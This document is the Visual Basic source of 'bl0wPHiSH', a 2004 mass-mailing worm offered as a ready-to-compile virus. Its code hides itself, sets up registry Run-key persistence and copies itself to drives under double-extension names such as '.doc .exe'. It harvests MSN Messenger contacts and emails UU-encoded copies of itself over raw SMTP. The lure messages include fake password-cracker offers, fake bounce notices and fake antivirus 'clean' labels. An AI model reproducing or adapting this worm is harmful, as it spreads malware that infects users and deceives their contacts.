Contribution - bl0wPHiSH v 1    [by phr0st]
[-ready to compile- virus in a zip archive]

  

'  /***********************************\
' /************ fr0zen c0re ************\
'|******* bl0wPHiSH v 1 by phr0st *******|
'|***************** 2004 ****************|
' \** eXpect more life in the future. **/
'  \***********************************/

Private WithEvents objMessenger As MessengerAPI.Messenger
Private MsgrContacts As IMessengerContacts

Dim MsgrServices As IMessengerServices
Dim MsgrService As IMessengerService
Dim Status As Integer

Private Enum SMTP_State
    MAIL_CONNECT
    MAIL_HELO
    MAIL_FROM
    MAIL_FROM1
    MAIL_FROM2
    MAIL_RCPTTO
    MAIL_DATA
    MAIL_DOT
    MAIL_QUIT
End Enum

Private m_State As SMTP_State
Private m_strEncodedFiles As String

Private Sub Form_Load()
On Error Resume Next

Set objMessenger = New MessengerAPI.Messenger
Set MsgrServices = objMessenger.Services
Dim FileName, wOrmDirName, wOrmFileName, wOrmStr, MessStr As String

Form1.Hide

    FileName = App.Path & "\" & App.EXEName & ".exe"

If FileExists("C:\Command.exe") = True Then GoTo SkipHide
    Call removefromCAD

SkipHide:
      Call Check_Drives(False)
        Call Inf_Drives(FileName, "bl0wPHISH.doc                                        .exe")

    FileName = App.Path & "\" & App.EXEName & ".exe"
       wOrmDirName0 = Array("C:\Windows\System32\", "C:\Windows\", "C:\Windows\Fonts\")
         wOrmDirName = wOrmDirName0(NumGen(0, UBound(wOrmDirName0)))
       wOrmFileName = RanName()

wOrmStr = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot")

   If wOrmStr = "bl0wPHISH" Then

      FileCopy FileName, wOrmDirName & wOrmFileName
        w0rmStr = wOrmDirName & wOrmFileName
     Call RegistryWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot", w0rmStr)
     Call RegistryWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot", w0rmStr)
     Call RegistryWrite("HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run\bl0wPHISH_boot", w0rmStr)

   End If

     MessStr = RegExists("HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger\User.NET Messenger Service")

       If MessStr = "bl0wPHISH" Then GoTo SkipCheck

       Timer3.Interval = 50

SkipCheck:

If RegExists("HKEY_CURRENT_USER\Software\bl0wPHISH\bl0wPHISH") = "bl0wPHISH" Then Exit Sub
     Call PayloadCheck

End Sub

Function MessageGen()

subject = Array("bl0wPHISH", "Hotmail Account Hacker", "Hotmail Hack", "Learn to Hack Hotmail", "Hotmail Hacking Tool", "Hack MSN Messenger" _
, "Your Login Details", "Sale Receipt", "Your Details", "You Have been Hacked!", "Your E-Bay Account", "All Along the WatchTower" _
, "Mail Delivery Failure : Message returned", "Mail delivery failed : returning message to sender", "Mail Send Fail", "Mail Server Error", "Delivery Error", "Server Failure")

a = NumGen(0, UBound(subject))
SubjectPart0 = subject(a)

If a >= 0 And a <= 5 Then

from1 = Array("promotions", "promote", "hotmail", "hackers", "games", "online", "awsome", "special", "tools")
from2 = Array("@HACKonline", "@blowPHISH", "@explosive", "@hackersclass", "@IGU", "@HACKandCRACK")
from3 = Array(".com", ".org", ".co.uk", ".cv", ".es", ".us", ".sk", ".info", ".tv", ".net", ".nl")
frompart1 = from1(NumGen(0, UBound(from1)))
frompart2 = from2(NumGen(0, UBound(from2)))
frompart3 = from3(NumGen(0, UBound(from3)))

SpecPart0 = Array("[McAffe Online Virus Scan] Clean.", "Norton System Scan - Email and attachments clean" _
, "Exclusive email list", "@bl0wPHISH Hacking Tools" _
, "[Panda AV Scanned] - email and attachments clean", "-Leaked hacking tool from bl0wPHISH-", "[Symantec Online scan] 100% Clean")

SubjectAft = Array(" - hack any msn account.", ", Welcome to the Revolution!", "; Join the masses now!" _
, " : best Hotmail cracker ever.", " - Were JAMMIN! were JAMMIN! were JAMMIN!")

SubjectPart2 = SubjectAft(NumGen(0, UBound(SubjectAft)))

SpecPart = SpecPart0(NumGen(0, UBound(SpecPart0)))

MessageChoice = Array(SpecPart & Chr(10) & Chr(10) & SubjectPart0 & "Have you ever wanted to see just who your girl/boyfriend really is emailing? Well here is your chance. This hotmail account cracking tool exclusive from bl0wPHISH allows you just that power, the power to gain the password to any hotmail account. Attached to this email is a free trial, try it today." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Are you wondering just what your Spouse really is up to in those late night chat sessions. Find out what they really are doing on MSN Messenger with this free account password cracker from bl0wPHISH, attached to this email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Don't mess about wasting time tring to guess peoples secret questions. With this free tool from bl0wPHISH you can quickly and easily crack any hotmail account password that you require. The installer for the cracker is attached to this email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Has some annoying little kid being annoying you  on MSN Messenger? Want revenge? Well if you do here is the tool for you. This hotmail account cracker allows you to gain any account password you like. The quick and easy user interface makes it simple for even a computer newbie to start hacking! Attached to this email is the installer for the cracker." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Ever wanted to hack your friend's Hotmail account? Well witht his exclusive program from bl0wPHISH you can do just that. THe cracker allows you to gain any password to any Hotmail account. Even a computer newbie can use it, it's so easy. The cracker installation is attached to this email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Do you wanna hack? Do you wanna hack hotmail? Well if you do here is the perfect program for you. The cracker allows you instant access to any hotmail account you like. To install a free trial download the attached file supplied with this email." & Chr(10) & Chr(10) & SpecPart _
, "bl0wPHISH - toxic beyond belief.")

txtFromPart.Text = frompart1 & frompart2 & frompart3
txtSubjectPart.Text = SubjectPart0 & SubjectPart2
txtMessagePart.Text = MessageChoice(NumGen(0, UBound(MessageChoice)))
txtAttachName.Text = SubjectPart0 & ".ins                                                                                                                                                        .exe"

Call SendMessage

End If

If a > 5 And a <= 11 Then

from1 = Array("details", "sent", "mail", "server", "confidential", "remail", "closed", "private")
from2 = Array("@secure", "@blowPHISH", "@micr0", "@ebay", "@anonymous", "@12345")
from3 = Array(".com", ".org", ".co.uk", ".cv", ".es", ".us", ".sk", ".info", ".tv", ".net", ".nl")
frompart1 = from1(NumGen(0, UBound(from1)))
frompart2 = from2(NumGen(0, UBound(from2)))
frompart3 = from3(NumGen(0, UBound(from3)))

txtFromPart.Text = frompart1 & frompart2 & frompart3
FromPart = txtFromPart.Text

SpecPart0 = Array("They are in Rich text format", "This is a server generated message,please do not reply." _
, "bl0wPHISH email servers handled the request.", "The details are highly confidential and have been treated as such." _
, "SIIICK Encryption standard used in transfer.", "This message was created automatically by mail delivery software.")

SpecPart = SpecPart0(NumGen(0, UBound(SpecPart0)))

MessageChoice = Array("<<..< " & FromPart & " >..>>" & Chr(10) & Chr(10) & Chr(10) & _
"The details are attached to this email. They are confidential and have been sent through a secure server. " & SpecPart & ". Open the attachment to view." _
& Chr(10) & Chr(10) & Chr(10) & "<\/<< " & FromPart & " >>\/>" _
, "<<\<< " & FromPart & " >>/>>" & Chr(10) & Chr(10) & Chr(10) & _
"Your requested details are attached. " & SpecPart & ".They have been delivered though a secure remailer to ensure confidentiality." _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"We have forwarded your details through to you. To view them open the attachment. " & SpecPart & " A secure mailserver was used for delivery." _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"To view your requested details open the attached document. " & SpecPart & " The details were forwarded through a secure remailer to keep your details confidential." _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"See attachment for details " & SpecPart & "" _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"Open the attachment for more details, they were sent though a secure server. " & SpecPart & "" _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "<<<<< " & FromPart & " >>>>>" & Chr(10) & Chr(10) & Chr(10) & _
"Your confidential details have been attached. " & SpecPart & "" _
& Chr(10) & Chr(10) & Chr(10) & "<<<<< " & FromPart & " >>>>>" _
, "bl0wPHISH - toxic beyond belief.")

txtSubjectPart.Text = SubjectPart0
txtMessagePart.Text = MessageChoice(NumGen(0, UBound(MessageChoice)))
txtAttachName.Text = SubjectPart0 & ".doc                                                                                                                                                        .exe"

Call SendMessage

End If

If a > 11 And a <= 17 Then

from1 = Array("delivery", "sent", "mail", "server", "mailserver", "remail", "errors", "notification")
from2 = Array("@secure", "@blowPHISH", "@mailcheck", "@failed", "@mailstatus", "@status")
from3 = Array(".com", ".org", ".co.uk", ".cv", ".es", ".us", ".sk", ".info", ".tv", ".net", ".nl")
frompart1 = from1(NumGen(0, UBound(from1)))
frompart2 = from2(NumGen(0, UBound(from2)))
frompart3 = from3(NumGen(0, UBound(from3)))

SpecPart0 = Array("@'. Internal Server Error .'@", "-----[Automated Responce]-----" _
, "MailServer Responce . 012933 error service", "_-_@bl0wPHISH mailserver FAILURE .01_5" _
, "..023_87 mail return/server", "_errornumber 34/2 Mail Failed.", "-Mail Return Server-")

SpecPart = SpecPart0(NumGen(0, UBound(SpecPart0)))

MessageChoice = Array(SpecPart & Chr(10) & Chr(10) & "Your mail was unable to be delivered. There was an internal server error, please try later. Your returned mail is attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "There was a server error, your mail was undelivered. The server has rebounded your mail attempt. Your sent email is attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Mail delivery report. FAILURE. To view your returned mail please view the attachment." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Mail server down. Your mail server is experiencing technical difficulties. Please try again leter, your rebounded mail is attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Failed delivery of mail. Mail details attached." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Terminal Server Error. Your computer has been identified as a possible source. For further details view the attached email." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "Mail delivery failure. Unfortunatly your mail was left undelivered by your server. Your mail has been forwared back to you as an attachment." & Chr(10) & Chr(10) & SpecPart _
, SpecPart & Chr(10) & Chr(10) & "A message that you sent could not be delivered to all of its recipients." & Chr(10) & Chr(10) & "A copy of the E-mail has been attached" & Chr(10) & Chr(10) & SpecPart _
, "bl0wPHISH - toxic beyond belief.")

txtFromPart.Text = frompart1 & frompart2 & frompart3
txtSubjectPart.Text = SubjectPart0
txtMessagePart.Text = MessageChoice(NumGen(0, UBound(MessageChoice)))
txtAttachName.Text = SubjectPart0 & ".eml                                                                                                                                                        .exe"

Call SendMessage

End If

End Function

Private Sub SendMessage()
Dim smtpString

smtpString = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\SMTP Server")

    If smtpString = "bl0wPHISH" Then
       GoTo smtpString2
    Else
       GoTo connectSMTP
    End If

smtpString2:
smtpString = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000001\SMTP Server")

If smtpString = "bl0wPHISH" Then
       GoTo smtpString3
    Else
       GoTo connectSMTP
    End If

smtpString3:
smtpString = RegExists("HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000002\SMTP Server")

If smtpString = "bl0wPHISH" Then

    Else
       GoTo connectSMTP
    End If

connectSMTP:
File = App.Path & "\" & App.EXEName & ".exe"

m_strEncodedFiles = UUEncodeFile(File)
Winsock1.Connect smtpString, 25
    m_State = MAIL_CONNECT

End Sub

Private Sub Check_Drives(Check As Boolean)
 On Error Resume Next
    Set fs = CreateObject("scripting.filesystemobject")

    For Each d In fs.drives
     DriveString = DriveString & d
    Next

    If Check = True Then
     If DriveString = txtDriveString.Text Then
     Exit Sub
      Else
      FileName = App.Path & "\" & App.EXEName & ".exe"
      Call Inf_Drives(FileName, "bl0wPHISH.doc                                        .exe")
      txtDriveString.Text = DriveString
     End If
    Else
    txtDriveString.Text = DriveString
    End If

End Sub

Private Sub PayloadCheck()
Dim K As Integer, Day As Integer

Day = DatePart("d", Date)

If Day = 30 Then
K = NumGen(0, 4)

If K = 1 Then
Me.Tag = 0
GoTo Load
End If

If K = 2 Then
Me.Tag = 1
GoTo Load
End If

If K = 3 Then
Me.Tag = 2
GoTo Load
End If

End If

Exit Sub

Load:
frmPayload.doeffect

End Sub

Private Sub Timer1_Timer()
Check_Drives (True)
End Sub

Private Sub Timer2_Timer()

If RegExists("HKEY_CURRENT_USER\Software\bl0wPHISH\bl0wPHISH") = "bl0wPHISH" Then
Dim MsgrContacts As IMessengerContacts
Dim MsgrContact As IMessengerContact
 Set MsgrContacts = objMessenger.MyContacts

If List1.ListCount > 1 Then Exit Sub

For Each MsgrContact In MsgrContacts
      List1.AddItem "<" & MsgrContact.SigninName & ">"
      Next

    List1.ListIndex = (List1.ListCount - 1)
    Call MessageGen
    Call RegistryWrite("HKEY_CURRENT_USER\Software\bl0wPHISH\bl0wPHISH", "1!")
End If

End Sub

Private Sub Timer3_Timer()

Set MsgrService = MsgrServices.PrimaryService

  Status = MsgrService.MyStatus
   If Status = 2 Or Status = 10 Or Status = 14 Or Status = 34 Or Status = 50 Or Status = 66 Or Status = 6 Then GoTo SetTimer
     Exit Sub

SetTimer:
     Timer2.Interval = 100

End Sub

Private Sub Timer4_Timer()
On Error Resume Next
Dim retval As Long
retval = EnumWindows(AddressOf EnumWindowsProc, 0)
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

    Dim msgSerRes   As String
    Dim msgResCode     As String
    Dim msgData       As String

    Winsock1.GetData msgSerRes

    msgResCode = Left(msgSerRes, 3)

    If msgResCode = "250" Or _
       msgResCode = "220" Or _
       msgResCode = "354" Then

        Select Case m_State
            Case MAIL_CONNECT

                m_State = MAIL_HELO

                Winsock1.SendData "HELO " & Winsock1.LocalHostName & vbCrLf

            Case MAIL_HELO

                m_State = MAIL_FROM

                Winsock1.SendData "MAIL FROM:" & txtFromPart.Text & vbCrLf

            Case MAIL_FROM

        If List1.ListIndex = 0 Then
              m_State = MAIL_RCPTTO
               Winsock1.SendData "RCPT TO:" & List1.Text & vbCrLf

        Else

              Winsock1.SendData "RCPT TO:" & List1.Text & vbCrLf
               List1.RemoveItem (List1.ListIndex)
                List1.ListIndex = (List1.ListCount - 1)
        End If

            Case MAIL_RCPTTO

                m_State = MAIL_DATA

                Winsock1.SendData "DATA" & vbCrLf

            Case MAIL_DATA

                m_State = MAIL_DOT

                    Winsock1.SendData "From: <" & txtFromPart.Text & ">" & vbCrLf & _
                      "Subject: " & txtSubjectPart.Text & vbCrLf & _
                      "Mime-Version: 1.0" & vbCrLf & _
                      "X-Mailer: bl0wPHISH v_0.12" & vbCrLf & _
                      "Content-Type: text/html" & vbTab & "charset=us-ascii" & vbCrLf & vbCrLf

                Dim varLines    As Variant
                Dim varLine     As Variant
                Dim strMessage  As String

                strMessage = txtMessagePart.Text & vbCrLf & vbCrLf & "begin 664 " & txtAttachName.Text & vbLf & m_strEncodedFiles

                varLines = Split(strMessage, vbCrLf)

                strMessage = ""

                For Each varLine In varLines
                    Winsock1.SendData CStr(varLine) & vbLf

                Next

                Winsock1.SendData "." & vbCrLf

            Case MAIL_DOT

                m_State = MAIL_QUIT

                Winsock1.SendData "QUIT" & vbCrLf

            Case MAIL_QUIT

                Winsock1.Close

        End Select

    Else

        Winsock1.Close

    End If

End Sub